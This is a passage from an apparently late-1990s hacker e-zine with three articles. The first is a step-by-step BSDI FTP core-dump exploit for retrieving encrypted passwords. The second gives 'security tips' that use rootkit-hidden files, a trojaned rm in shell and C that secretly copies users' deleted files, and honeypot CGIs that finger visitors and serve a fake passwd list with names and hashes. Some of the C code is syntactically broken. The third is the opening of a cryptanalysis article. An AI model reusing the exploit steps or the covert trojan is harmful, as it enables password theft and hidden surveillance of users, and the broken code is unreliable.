  863. At what point does the ntec ask the ess to idle trunk? Before setting levels.
  864.  
  865. ═────────────────────────────────────────────────────────────────────────────═
  866. BSDI FTP CORE DUMPS 
  867. by Bronc Buster 
  868. (www.showdown.org) 
  869. (bbuster@succeed.net)
  870.  
  871. It was over a year ago that I first reported my findings to BugTraqs,
  872. BSDI, and CERT about the potential security holes with BSDs core dumping
  873. problems. On the day of 3 Sept 97 BSDI finaly released a patch for this 
  874. hole, but as most of you know, most SysAdmins don't keep track of patchs
  875. and their release dates because everyone alawys thinks they are immune
  876. to attack. 
  877.  
  878. This hole uses the massive built in feature on BSD systems that they use
  879. to make their Unix version more stable and less prevy to crashing, Core 
  880. Dumps. By useing this function to force a core dump after accessing the
  881. password file you will be able to retreve encrypted passwords from the
  882. core dump. This only works on BSDI BSD/OS 2.X and NOT BSD 3.X.
  883.  
  884. How it works: you FTP in as a legit user, then stop the process and then
  885. kill it forcing a core dump. By forcing the dump after the FTP program 
  886. (wu ftpd 2.4 used) has accessed the password file it will dump the stack
  887. and all the information in it to a core dump file owned by that user in 
  888. the present working directory. I think the commands for this exploit are
  889. very easy to understand and are self explaintory.
  890.  
  891.  
  892.  
  893. main: {1} % ftp succeed.net       // FTP to localhost
  894. Connected to succeed.net.
  895. 220 main.succeed.net FTP server 
  896. (Version wu-2.4(2) Tue Jan 7 08:37:31 EST 1997)
  897. ready.
  898. Name (succeed.net:bbuster): bbuster     // Login as a user
  899. 331 Password required for bbuster.
  900. Password:
  901. 230 User bbuster logged in.
  902. Remote system type is UNIX.
  903. Using binary mode to transfer files.
  904. ftp> ^Z                                // Control Z and suspend it
  905. Suspended
  906. main: {2} % ps                        // Find PID number of FTP
  907.   PID  TT  STAT      TIME COMMAND
  908. 23875  p2  Is     0:00.13 -csh (csh)
  909. 23967  p2  S+     0:00.03 telnet localhost
  910. 23969  p3  Ss     0:00.10 -csh (csh)
  911. 23978  p3  T      0:00.02 ftp succeed.net
  912. 23989  p3  R+     0:00.01 ps
  913. main: {3} % kill -11 23978          // Kill -11 the FTP process
  914. main: {4} % fg                      // Call FTP back to Foreground
  915. ftp succeed.net
  916. Segmentation fault (core dumped)      // Dump the core
  917. main: {5} % strings ftp.core > test   // Stings it to a file for reading
  918. main: {6} % cat test                  // Get the passwords
  919.  
  920.  
  921. That's it. This is not the only problem with BSDI BSD/OS systems
  922. and their core dumps, there was the well known write tty core dump
  923. which essentialy did the same thing as this exploit does, but it was 
  924. patched much faster. 
  925.  
  926. Over all BDSI BSD/OS, all versions, are one of the most secure Unix 
  927. systems on the market today and when an exploit is found for it we
  928. must treat it like gold as BSDI is usualy very fast is fixing them.
  929.  
  930. Bronc Buster!!!
  931.  
  932. [EOF]
  933.  
  934. ═────────────────────────────────────────────────────────────────────────────═
  935. Security/Monitoring tools 
  936. by Shok
  937. (shok@sekurity.org)
  938.     
  939. Okay, well........welcome to this thing......by Shok. 
  940. What I plan for this to be, is some various utilities that you might think
  941. as of use and what not. This is mainly a few security tips that I like to
  942. use.
  943.  
  944. First off, edit your /etc/profile, and add the line:
  945. export HISTFILE=/tmp/hist/`whoami`
  946.  
  947. and then do:
  948. mkdir /tmp/hist;chmud 1777 /tmp/hist
  949.  
  950. You now want to hide that file, so the users don't see the dir (it can be
  951. seen with set but not too many people check :) and you hide it with the
  952. rootkit's ls.
  953.  
  954. Another few things I like to do.
  955. I made a trojaned 'rm' that basically calls /bin/rm.bak which is hidden
  956. (via rootkit ls), and it copies the file they are trying to delete to
  957. /tmp/fill (which is also hidden via rootkit ls). 
  958. There are two versions of this....I wrote the first one in shell script,
  959. but do to the fact it has to be a+r, I wrote it in C afterwords. Here is
  960. the rm.sh:
  961.  
  962. #!/bin/sh
  963. # rm.sh -- rm "trojan" by (--==+*~Shok~*+==--) 
  964. #
  965. # Email: shok@sekurity.org
  966.  
  967. if [ $# > 1 ] 
  968. then
  969.  
  970. case $1 in
  971. -i)
  972. shift
  973. cp -f $* /tmp/fill &>/dev/null
  974. doexec /bin/rm.bak rm -i $*
  975. ;;
  976. --interactive)
  977. shift
  978. cp -f $* /tmp/fill &>/dev/null
  979. doexec /bin/rm.bak rm -i $* 
  980. ;;
  981.  
  982. -f)
  983. shift
  984. cp -f $* /tmp/fill &>/dev/null
  985. /bin/rm.bak -f $*
  986. ;; 
  987. --force)
  988. shift
  989. cp -f $* /tmp/fill &>/dev/null
  990. /bin/rm.bak -f $* 
  991. ;;
  992.  
  993. -d)
  994. shift
  995. cp $1/* /tmp/fill &>/dev/null
  996. /bin/rm.bak -d $*
  997. ;; 
  998. --directory)
  999. shift
  1000. cp $1/* /tmp/fill &>/dev/null
  1001. /bin/rm.bak -d $* 
  1002. ;;
  1003.  
  1004. -v)
  1005. shift
  1006. cp -f $* /tmp/fill &>/dev/null
  1007. /bin/rm.bak -v $*
  1008. ;;
  1009. --verbose)
  1010. shift
  1011. cp -f $* /tmp/fill &>/dev/null
  1012. /bin/rm.bak -v $* 
  1013. ;;
  1014.  
  1015. -r)
  1016. shift
  1017. cp -f $1/* /tmp/fill &>/dev/null
  1018. /bin/rm.bak -R $*
  1019. ;; 
  1020. -R)
  1021. shift
  1022. cp -f $1/* /tmp/fill &>/dev/null
  1023. /bin/rm.bak -R $*
  1024. ;; 
  1025. --recursive)
  1026. shift
  1027. cp -f $1/* /tmp/fill &>/dev/null
  1028. /bin/rm.bak -R $* 
  1029. ;;
  1030.  
  1031. -ri)
  1032. shift
  1033. cp -f $1/* /tmp/fill &>/dev/null
  1034. /bin/rm.bak -ri $*
  1035. ;;
  1036. -Ri)
  1037. shift
  1038. cp -f $1/* /tmp/fill &>/dev/null
  1039. /bin/rm.bak -ri $*
  1040. ;;
  1041.  
  1042. -rf)
  1043. shift
  1044. cp -f $1/* /tmp/fill &>/dev/null
  1045. cp -f $1 /tmp/fill &>/dev/null  
  1046. /bin/rm.bak -rf $*
  1047. ;;
  1048. -Rf)
  1049. shift
  1050. cp -f $1/* /tmp/fill &>/dev/null
  1051. cp -f $1 /tmp/fill &>/dev/null
  1052. /bin/rm.bak -rf $*
  1053. ;;
  1054.  
  1055. -rd)
  1056. shift
  1057. cp -f $1/* /tmp/fill &>/dev/null
  1058. /bin/rm.bak -rd $*
  1059. ;;
  1060. -Rd)
  1061. shift
  1062. cp -f $1/* /tmp/fill &>/dev/null
  1063. /bin/rm.bak -rd $*
  1064. ;;
  1065.  
  1066. -Rv)
  1067. shift
  1068. cp -f $1/* /tmp/fill &>/dev/null
  1069. /bin/rm.bak -rv $*
  1070. ;;
  1071. -rv)
  1072. shift
  1073. cp -f $1/* /tmp/fill &>/dev/null
  1074. /bin/rm.bak -rv $*
  1075. ;;
  1076.  
  1077. -fv)
  1078. shift
  1079. cp -f $1 /tmp/fill &>/dev/null
  1080. /bin/rm.bak -fv $*
  1081. ;;
  1082.  
  1083. -Rfv)
  1084. shift
  1085. cp -f $1/* /tmp/fill &>/dev/null
  1086. cp -f $1   /tmp/fill &>/dev/null
  1087. /bin/rm.bak -rfv $*
  1088. ;;
  1089. -rfv)
  1090. shift
  1091. cp -f $1/* /tmp/fill &>/dev/null
  1092. cp -f $1   /tmp/fill &>/dev/null
  1093. /bin/rm.bak -rfv $*
  1094. ;;
  1095.  
  1096. *)
  1097. cp -f $* /tmp/fill &>/dev/null
  1098. /bin/rm.bak $*
  1099. ;;
  1100. esac
  1101.  
  1102. else
  1103.  
  1104. IT=$1
  1105. cp -f $IT /tmp/fill
  1106. /bin/rm.bak $IT
  1107. fi
  1108. #----------------------------------------------------
  1109.  
  1110. You may have to change the line:
  1111. doexec /bin/rm.bak -i $*
  1112.  
  1113. to:
  1114. /bin/rm.bak -i $* 
  1115. if you do not have doexec which is on linux (or redhat anyway)
  1116.  
  1117.  
  1118.  
  1119. Now for rm.c:
  1120.  
  1121. /* ------------------------------------------------------ */
  1122. /* rm.c -- rm "trojan" by (--==+*~Shok~*+==--)            */
  1123. /* ------------------------------------------------------ */
  1124. /* Email: shok@sekurity.org                    */
  1125.  
  1126. #include <sys/stat.h>
  1127. #include <string.h>
  1128. #include <stdio.h>
  1129. #include <stdlib.h> 
  1130. #include <unistd.h>
  1131.  
  1132.  
  1133. void main(int argc, char **argv)
  1134. {
  1135.   struct stat filestats;
  1136.   int i;
  1137.   if (argc > 2) 
  1138.     {
  1139.         if (strcmp("-i", argv[1])==0) goto interactive;
  1140.         if (strcmp("-f", argv[1])==0) goto force;
  1141.         if (strcmp("-v", argv[1])==0) goto verbose;
  1142.         if (strcmp("-r", argv[1])==0) goto recursive;
  1143.         if (strcmp("-rf", argv[1])==0) goto rf;
  1144.         if (strcmp("-ri", argv[1])==0) goto ri;
  1145.         if (strcmp("-rv", argv[1])==0) goto rv;
  1146.         if (strcmp("-rvf", argv[1])==0) goto rfv;
  1147.         if (strcmp("-rfv", argv[1])==0) goto rfv;
  1148.         if (strcmp("-Rvf", argv[1])==0) goto rfv;
  1149.         if (strcmp("-Rfv", argv[1])==0) goto rfv;
  1150.         if (strcmp("-frv", argv[1])==0) goto rfv;
  1151.         if (strcmp("-fvr", argv[1])==0) goto rfv;
  1152.         if (strcmp("-fRv", argv[1])==0) goto rfv;
  1153.         if (strcmp("-fvR", argv[1])==0) goto rfv;
  1154.         if (strcmp("-vfr", argv[1])==0) goto rfv;
  1155.         if (strcmp("-vrf", argv[1])==0) goto rfv;
  1156.         if (strcmp("-vfR", argv[1])==0) goto rfv;
  1157.         if (strcmp("-vRf", argv[1])==0) goto rfv;
  1158.         if (strcmp("-fr", argv[1])==0) goto rf;
  1159.         if (strcmp("-ir", argv[1])==0) goto ri;
  1160.         if (strcmp("-vr", argv[1])==0) goto rv;
  1161.         
  1162.         if (strcmp("--interactive", argv[1])==0) goto interactive;
  1163.         if (strcmp("--force", argv[1])==0) goto force;
  1164.         if (strcmp("--verbose", argv[1])==0) goto verbose;
  1165.         if (strcmp("--recursive", argv[1])==0) goto recursive;
  1166.     } 
  1167.  
  1168.   else {
  1169.     setenv("PROGRAM", argv[1], 1);
  1170.     system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1171.     system("/bin/rm.bak $PROGRAM");
  1172.     unsetenv("PROGRAM");
  1173.   }
  1174.  
  1175.  
  1176. interactive:
  1177.  
  1178.   lstat(argv[2], &filestats);
  1179.   for (i=2;i<argc;i++) 
  1180.   {
  1181.      if (S_ISDIR(filestats.st_mode))
  1182.      {
  1183.         setenv("PROGRAM", argv[i], 2);
  1184.         system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
  1185.         unsetenv("PROGRAM");
  1186.         execl("/bin/rm.bak","rm","-i",argv[2],NULL);
  1187.      } 
  1188.  
  1189.      else 
  1190.         {
  1191.         setenv("PROGRAM", argv[2], 1);
  1192.         system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1193.         unsetenv("PROGRAM");
  1194.         execl("/bin/rm.bak","rm","-i",argv[2],NULL);
  1195.         }    
  1196.   }
  1197.  
  1198.   
  1199. force:
  1200.  
  1201.   for (i=2;i<argc;i++) 
  1202.   {
  1203.     setenv("PROGRAM", argv[i], 1);
  1204.     system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1205.     execl("/bin/rm.bak","rm","-f",argv[i],NULL);
  1206.     unsetenv("PROGRAM");
  1207.  
  1208.   }
  1209.  
  1210.  
  1211. verbose:
  1212.   for (i=2;i<argc;i++) 
  1213.   {
  1214.     setenv("PROGRAM", argv[i], 1);
  1215.     system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1216.     execl("/bin/rm.bak","rm","-v",argv[i],NULL);
  1217.     unsetenv("PROGRAM");
  1218.   }
  1219.  
  1220. recursive:
  1221.   for (i=2;i<argc;i++) 
  1222.   {
  1223.     setenv("PROGRAM", argv[i], 1);
  1224.     system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1225.     execl("/bin/rm.bak","rm","-r",argv[i],NULL);
  1226.     unsetenv("PROGRAM");
  1227.   }
  1228.  
  1229. rf:
  1230.  
  1231.   for (i=2;i<argc;i++) 
  1232.   {
  1233.     lstat(argv[i], &filestats);
  1234.     if (S_ISDIR(filestats.st_mode))
  1235.     {
  1236.         setenv("PROGRAM", argv[i], 1);
  1237.         system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
  1238.         unsetenv("PROGRAM");
  1239.         execl("/bin/rm.bak","rm","-rf",argv[i],NULL);
  1240.     }
  1241.     else 
  1242.     {
  1243.         setenv("PROGRAM", argv[i], 1);
  1244.         system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1245.         unsetenv("PROGRAM");
  1246.         execl("/bin/rm.bak","rm","-rf",argv[i],NULL);
  1247.     }
  1248.   } 
  1249.  
  1250.  
  1251. ri:
  1252.  
  1253.   for (i=2;i<argc;i++) 
  1254.   {
  1255.     setenv("PROGRAM", argv[i], 1);
  1256.     system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1257.     execl("/bin/rm.bak","rm","-ri",argv[i],NULL);
  1258.     unsetenv("PROGRAM");
  1259.   }
  1260.  
  1261.  
  1262. rv:
  1263.  
  1264.   for (i=2;i<argc;i++) 
  1265.   {
  1266.     setenv("PROGRAM", argv[i], 1);
  1267.     system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1268.     execl("/bin/rm.bak","rm","-rv",argv[i],NULL);
  1269.     unsetenv("PROGRAM");
  1270.   }
  1271.  
  1272. rfv:
  1273.  
  1274.   for (i=2;i<argc;i++) 
  1275.   {
  1276.     setenv("PROGRAM", argv[i], 1);
  1277.     system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1278.     execl("/bin/rm.bak","rm","-rfv",argv[i],NULL);
  1279.     unsetenv("PROGRAM");
  1280.   }
  1281.  
  1282. }
  1283.  
  1284. This program can of course be improved, especially replacing the strcmp's
  1285. with getopt() but I could care less....
  1286.  
  1287. Now when ever a user deletes something it will first be copied to
  1288. /tmp/fill before it's deleted.
  1289.  
  1290. Now, even though it's logged to /var/log/httpd/access_log, I'd like to
  1291. know right away when someone tries to use the phf or test-cgi
  1292. vulnerabilities on me. So I replaced the phf and test-cgi programs in my
  1293. /cgi-bin/ with this. The first will get the info on who it is, then it
  1294. will send a fake passwd file. This can be improved of course but I don't
  1295. care to take the time. 
  1296.  
  1297. phf.c:
  1298.  
  1299.  
  1300. /* ----------------------------------------------------- */
  1301. /* phf "trojan" by (--==+*~Shok~*+==--)            */
  1302. /* ----------------------------------------------------- */
  1303. /* Email: shok@sekurity.org                   */
  1304.  
  1305. #include <stdio.h>
  1306. #include <unistd.h>
  1307. #include <stdlib.h>
  1308. void main()
  1309.  
  1310. FILE *tmpfile, *fingerinfo;
  1311. char *host, *addr, *browser, *query_string;
  1312. char fingerbuf[2048];
  1313.  
  1314. host=getenv("REMOTE_HOST"); 
  1315. addr=getenv("REMOTE_ADDR");
  1316. browser=getenv("HTTP_USER_AGENT");
  1317. query_string=getenv("QUERY_STRING"); 
  1318.  
  1319. /* This is to prevent a finger war, the ip address below is my ip address */
  1320. /* just to be on the safe side. But I do have in.fingerd: LOCAL to allow  */
  1321. /* me to finger without starting a finger war.                     */
  1322. if ((strcmp(addr, "206.71.69.243")) || (strcmp(addr,"127.0.0.1")) == 0) exit(0); 
  1323.  
  1324. system("finger @$REMOTE_ADDR > /var/tmp/.fingerinfo1");
  1325.  
  1326. tmpfile=fopen("/var/tmp/.phf", "w"); 
  1327. fingerinfo=fopen("/var/tmp/.fingerinfo1", "r");
  1328.  
  1329. fprintf(tmpfile, "The following person used phf!!\n\n");
  1330. fprintf(tmpfile, "\tHost: %s\n", host);
  1331. fprintf(tmpfile, "\tAddress: %s\n", addr);
  1332. fprintf(tmpfile, "\tBrowser type: %s\n", browser);
  1333. fprintf(tmpfile, "\tQuery String (aka command entered): %s\n\n", query_string); 
  1334.  
  1335. fingerinfo=fopen("/var/tmp/.fingerinfo1", "r");
  1336. fgets(fingerbuf, 2047, fingerinfo);
  1337. fclose(fingerinfo);
  1338.  
  1339.  
  1340. fprintf(tmpfile, "I did a finger of the person trying to exploit us:\n");
  1341. fprintf(tmpfile, "--------------------------------------------------\n");
  1342. fputs(fingerbuf, tmpfile);
  1343.  
  1344. fclose(tmpfile);
  1345.  
  1346. system("mail -s \"SOMEONE USED phf!!\" root </var/tmp/.phf");
  1347.  
  1348. unlink("/var/tmp/.fingerinfo1");
  1349. unlink("/var/tmp/.phf"); 
  1350.  
  1351. printf("Content-type: text/html\n\n");
  1352. printf("<H1>Query Results</H1>\n");
  1353. printf("<P>\n");
  1354. printf("/usr/local/bin/ph -m  alias=x \n");
  1355. printf("cat /etc/passwd\n");
  1356. printf("<PRE>\n");
  1357. printf("root:TQoabYuFUSoSk:0:1:Operator:/:/bin/csh\n");
  1358. printf("nobody:*:65534:65534::/:\n");
  1359. printf("daemon:*:1:1::/:\n");
  1360. printf("sys:*:2:2::/:/bin/csh\n");
  1361. printf("bin:*:3:3::/bin:\n");
  1362. printf("uucp:*:4:8::/var/spool/uucppublic:\n");
  1363. printf("news:*:6:6::/var/spool/news:/bin/csh\n");
  1364. printf("ingres:*:7:7::/usr/ingres:/bin/csh\n");
  1365. printf("mail:*:8:12::/:\n");
  1366. printf("johnny:Abx4dgSg:MaTr|x:/home/MaTrix:/bin/sh\n");
  1367. printf("audit:*:9:9::/etc/security/audit:/bin/csh\n");
  1368. printf("sync::1:1::/:/bin/sync\n");
  1369. printf("kill8r:AfBs45Syf:100:25:Siko:/home/Siko:/bin/sh\n");
  1370. printf("ppp::70:70:PPP login:/tmp:/etc/ppplogin\n");
  1371. printf("sysdiag:*:0:1:Old System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag\n");
  1372. printf("sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag\n");
  1373. printf("ftp:*:10:20:ftp:/home/ftp:/usr/bin/bash\n");
  1374. printf("luseruser:xAFjgodjFa4:254:100:Pr0t0:/home/Pr0t0c0l:/bin/sh\n");
  1375. printf("babum:aDtg3Gs645:BiT-#hacker:454:100:/home/BiT:/bin/sh\n");
  1376. printf("www:*:30:30:World Wide Web:/home/www:/usr/bin/bash\n");
  1377. printf("pop:*:70:70:Post Office Protocol:/var/spool/pop:/usr/bin/bash\n");
  1378. printf("zirzlaff:.a6RPNtUhGW0k:3190:100:Torsten Zirzlaff:/home/tz:/usr/local/bin/tcsh\n");
  1379. printf("f33r:A23gAdcYf5:4110:100:f33r me bitch:/home/hph:/usr/local/bin/tcsh\n");
  1380. printf("henrik:v50YvKjFwWw.M:4120:18:HeNriK:/usr/sirius/henrik:/usr/bin/bash\n");
  1381. printf("inas:fStcY3^gf:8900:100:InaSaLoser:/home/is:/usr/local/bin/tcsh\n");
  1382. printf("ivo:*:8920:100:Da Tru hacker-Lamer:/home/ivo:/usr/local/bin/tcsh\n");
  1383. printf("pcguest::7454:100:Temp hax0r account:/tmp:/usr/bin/sh\n");
  1384. printf("simone:Em8y0pwT.5umo:8930:100:Simone Kleine:/home/simone:/usr/bin/bash\n");
  1385. printf("shko:aDrsBsefYr:666:100:SHLRP:/home/shok:/bin/bash\n");
  1386. printf("majordomo:*:405:20:Majordomo server:/dev/null:/bin/startdomo\n");
  1387. printf("listserv:*:567:20:Listserv server:/dev/null:/bin/sh\n");
  1388. printf("hammer:FwhX26Hf1:8940:100:Peter Hammerstein:/home/hammer:/usr/bin/bash\n");
  1389. printf("patrick:cYz7MXTIyGByQ:8950:100:Patrick Mergell:/home/patrick:/usr/bin/bash\n");
  1390. printf("chr:T/SRcchg0fK3I:8960:100:Christian Zemlin:/home/chr:/usr/bin/bash\n");
  1391. printf("db:*:8970:100:Dieter Beule:/usr/sirius/dieter:/usr/bin/bash\n");
  1392. printf("guest:AefxF2a2D:8999:110:Guest:/home/guest:/usr/local/bin/tcsh\n");
  1393. printf("</PRE>");
  1394. }                    
  1395.  
  1396. This is what the above will show up in the root's mail:
  1397.  
  1398.  
  1399. The following person used phf!!
  1400.  
  1401.        Host: ts037d12.chi-il.concentric.net
  1402.        Address: 206.173.188.168
  1403.        User (if able): (null)
  1404.        Ident (if able): (null)
  1405.        Browser type: (null)
  1406.        Query String (aka command entered): Qalias=X%0aid
  1407.  
  1408. I did a finger of the person trying to exploit us:
  1409. --------------------------------------------------
  1410. [206.173.188.168]
  1411. (probably Win95 which is why there was no output as Win95 doesn't have an
  1412. actual "finger" program)
  1413.  
  1414.  
  1415.  
  1416.  
  1417. Now for the test-cgi...this does the same thing accept it will send a 
  1418. "File Not found" instead:
  1419.  
  1420. test-cgi.c:
  1421.  
  1422. /* --------------------------------------------------- */
  1423. /* test-cgi.c -- test-cgi "trojan" by --==+*~Shok~+*-- */
  1424. /* --------------------------------------------------- */
  1425. /* Email: shok@sekurity.org                    */
  1426.  
  1427. #include <stdio.h>
  1428. #include <unistd.h>
  1429. #include <stdlib.h>
  1430.  
  1431. void main(void)
  1432.   FILE *tmpfile, *fingerinfo;
  1433.   char *host *addr, *browser, *query_string;
  1434.   char fingerbuf[2048];
  1435.  
  1436.   host=getenv("REMOTE_HOST"); 
  1437.   addr=getenv("REMOTE_ADDR");
  1438.   browser=getenv("HTTP_USER_AGENT");
  1439.   query_string=getenv("QUERY_STRING"); 
  1440.  
  1441.   /* This is to prevent a finger war, for safety, even though you SHOULD  */
  1442.   /* have in.fingerd: LOCAL in your hosts.allow                    */
  1443.  
  1444.   if ((strcmp(addr, "206.71.69.243")) || (strcmp(addr,"127.0.0.1")) == 0) exit(0);
  1445.   system("finger @$REMOTE_ADDR > /var/tmp/.fingerinfo");
  1446.  
  1447.   tmpfile=fopen("/var/tmp/.test-cgi", "w");
  1448.   fprintf(tmpfile, "The following person used phf:\n\n");
  1449.   fprintf(tmpfile, "\tHost: %s\n", host);
  1450.   fprintf(tmpfile, "\tAddress: %s\n", addr);
  1451.   fprintf(tmpfile, "\tBrowser type: %s\n ", browser);
  1452.   fprintf(tmpfile, "\tQuery String (aka command entered): %s\n\n", query_string);
  1453.   fingerinfo=fopen("/var/tmp/.fingerinfo", "r");
  1454.   fgets(fingerbuf, 2047, fingerinfo); 
  1455.   fclose(fingerinfo);
  1456.  
  1457.  
  1458.   fprintf(tmpfile, "I did a finger of the person trying to exploit us:\n");
  1459.   fprintf(tmpfile, "--------------------------------------------------\n");
  1460.   fputs(fingerbuf, tmpfile);
  1461.  
  1462.   fclose(tmpfile);
  1463.  
  1464.   /* REPLACE THIS PART WITH WHO YOU WANT TO MAIL IT TO change the root to */
  1465.   /* to whatever you want                                */
  1466.  
  1467.   system("mail -s \"SOMEONE USED test-cgi!!\" root < /var/tmp/.test-cgi");
  1468.  
  1469.   unlink("/var/tmp/.fingerinfo"); 
  1470.   unlink("/var/tmp/.test-cgi"); 
  1471.  
  1472.   printf("Content-type: text/html\n\n");
  1473.   printf("<h2>File Not found\n</h2>");
  1474.   printf("The requested URL /cgi-bin/test-cgi was not found on this server.");
  1475.  
  1476.  
  1477.  
  1478.  
  1479. Just as an added bonus here.........
  1480. When someone goes to a directory you have .htaccess in, it will send 401,
  1481. which is the unauthorized error code (pretty sure it's 401 but not in the
  1482. mood to check). Now I editted my srm.conf (usually
  1483. /usr/local/etc/httpd/conf/srm.conf), and added this line:
  1484.  
  1485. ErrorDocument 401   /cgi-bin/unauthorized.cgi
  1486.  
  1487. This is basically like the one above.......except it differs
  1488. by the the 'user' part, which lets you know what user it was...this is a
  1489. good way to know if there is an unauthorized attempt, and/or what user is
  1490. logging into your webpage that is secured......
  1491.  
  1492. unauthorized.c:
  1493.  
  1494.  
  1495. /* -------------------------------------------------------- */
  1496. /* Unauthorized cgi "trojan" script by (--==+*~Shok~*+==--) */
  1497. /* -------------------------------------------------------- */
  1498. /* Email: shok@sekurity.org                      */
  1499.  
  1500. #include <stdio.h>
  1501. #include <unistd.h>
  1502. #include <stdlib.h>
  1503. void main(void)
  1504. {
  1505.   FILE *tmpfile, *fingerinfo;
  1506.   char *host, *addr, *user, *ident, *browser, *query_string;
  1507.   char fingerbuf[2048];
  1508.  
  1509.   host=getenv("REMOTE_HOST");
  1510.   addr=getenv("REMOTE_ADDR");
  1511.   user=getenv("REMOTE_USER");
  1512.   ident=getenv("REMOTE_IDENT");
  1513.   browser=getenv("HTTP_USER_AGENT");
  1514.   query_string=getenv("QUERY_STRING");
  1515.  
  1516.   /* This can get ugly */
  1517.   if ((strcmp(addr, "206.71.69.243"))==0) exit(0);
  1518.  
  1519.   system("finger @$REMOTE_ADDR > /var/tmp/.fingerinfo");
  1520.  
  1521.   tmpfile=fopen("/var/tmp/.unauthorized", "w");
  1522.   fprintf(tmpfile, "The following person has unauthorized access:\n\n");
  1523.   fprintf(tmpfile, "\tHost: %s\n", host);
  1524.   fprintf(tmpfile, "\tAddress: %s\n", addr);
  1525.   fprintf(tmpfile, "\tUser (if able): %s\n", user);
  1526.   fprintf(tmpfile, "\tIdent (if able): %s\n", ident);
  1527.   fprintf(tmpfile, "\tBrowser type: %s\n ", browser);
  1528.   fingerinfo=fopen("/var/tmp/.fingerinfo", "r");
  1529.   fgets(fingerbuf, 2047, fingerinfo);
  1530.   fclose(fingerinfo);
  1531.  
  1532.  
  1533.   fprintf(tmpfile, "I did a finger of the person:\n");
  1534.   fprintf(tmpfile, "-----------------------------\n");
  1535.   fputs(fingerbuf, tmpfile);
  1536.  
  1537.   fclose(tmpfile);
  1538.  
  1539.   system("mail -s \"Somone tried unauthorized access\" root </var/tmp/.unauthorized");
  1540.  
  1541.   unlink("/var/tmp/.fingerinfo");
  1542.   unlink("/var/tmp/.unauthorized");
  1543.  
  1544.   printf("Content-type: text/html\n\n");
  1545.   printf("<HEAD><TITLE>Unauthorized</TITLE></HEAD>");
  1546.   printf("<BODY><H1>Unauthorized</H1>");
  1547.   printf("You are unauthorized and unwanted here.\n Go away <FONT COLOR=\"red\">d0rk</FONT><P>");
  1548.   printf("</BODY>");
  1549.  
  1550. }
  1551.  
  1552.  
  1553. Here is my hosts.deny too.........in case you wanted to see it ;)
  1554. ALL: .cc.edu: /bin/mail -s "%h from CC.EDU tried to access us!!" root
  1555. ALL: .gov, .mil: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "GOV/MIL ATTEMPTED ACCESS from %h!! Using %s." root &
  1556. in.telnetd: ALL: /bin/mail -s "%h tried to telnet in" root
  1557.  
  1558. #FINGER - Noisy people
  1559. #------------
  1560. in.fingerd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "FINGER ATTEMPT FROM %h" root & 
  1561.  
  1562. #Security reasons
  1563. #---------------
  1564. in.ftpd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "FTP ATTEMPT FROM %h" root &
  1565. in.rlogind: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RLOGIN ATTEMPT FROM %h" root &
  1566. #in.telnetd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "TELNET ATTEMPT FROM %h" root &
  1567.  
  1568. # PORTMAP 
  1569. #-------------
  1570. portmap: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "PORTMAP ATTEMPT FROM %h. Using %s" root &
  1571.  
  1572. #COMSAT
  1573. in.comsat:  spawn /usr/sbin/safe_finger @%h| /bin/mail -s "COMSAT ATTEMPT FROM %h" root &
  1574.  
  1575. #REXECD
  1576. in.rexecd: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "REXEC ATTEMPT FROM %h" root &
  1577.  
  1578. #RSHD
  1579. in.rshd:  spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RSHD ATTEMPT FROM %h" root &
  1580.  
  1581. #NNRPD
  1582. in.nnrpd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "NNRPD ATTEMPT FROM %h" root &
  1583.  
  1584. #RPCBIND
  1585. rpcbind: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RPCBIND ATTEMPT FROM %h. Using %s" root &
  1586.  
  1587. #ALL: paranoid
  1588.  
  1589.  
  1590. Well.......................................we're winding down to the end.
  1591.  
  1592. It has been fun and I don't have much more to say on this article.
  1593. Thanks for reading, please feel free to use and distribute this, although
  1594. I wish for you to leave my comments and "header" at the tops ... ya know
  1595. my "copyright" :) 
  1596.  
  1597. You can access a few of my things at ftp.janova.org (in pub) or
  1598. www.janova.org. 
  1599.  
  1600. ═────────────────────────────────────────────────────────────────────────────═
  1601. Cryptanalytic Attacks on Repeating Key Algorithms
  1602. by The Messiah
  1603.  
  1604. CONTENTS:
  1605.     * Introduction
  1606.     * Background
  1607.     * Methods Of Attack
  1608.     * BadCrypt v1.0
  1609.     * GeneriCrack for DOS v1.0
  1610.     * Prevention
  1611.  
  1612. INTRODUCTION:
  1613.     Bruce Schneier published an essay called "Why Crypto Is Harder Than It 
  1614. Looks." It's true, designing a secure algorithm is MUCH harder than breaking 
  1615. one. This article is about breaking programs which use a repeating key. 
  1616. Credit should go out to Kent Briggs, whose WinCrack program opened doors for 
  1617. me into cryptanalysis. His code is also at the heart of GeneriCrack for DOS, 
  1618. altered quite a bit, however.
  1619.  
  1620. BACKGROUND:
  1621.     What is cryptanalwhatever? Cryptanalysis is the art of decoding 
  1622. encrypted messages without the key, or algorithm. In 1994, PC Mag released a 
  1623. program by Jeff Prosise called WinCrypt. It created a 512-byte block derived 
  1624. from a passphrase, then XOR'd (eXclusive OR) each 512-byte block of the 
  1625. plaintext with the key block.
  1626.  
  1627.     |------Key Block-----|
  1628.               XOR
  1629.     |------Plaintext-----|--------------------|--------------------|--------------------|
  1630.              equals
  1631.        |-----Ciphertext-----|
  1632.  
  1633.  
  1634.  
  1635.                         |------Key Block-----|
  1636.                                 XOR
  1637.     |--------------------|------Plaintext-----|--------------------|--------------------|
  1638.                               equals
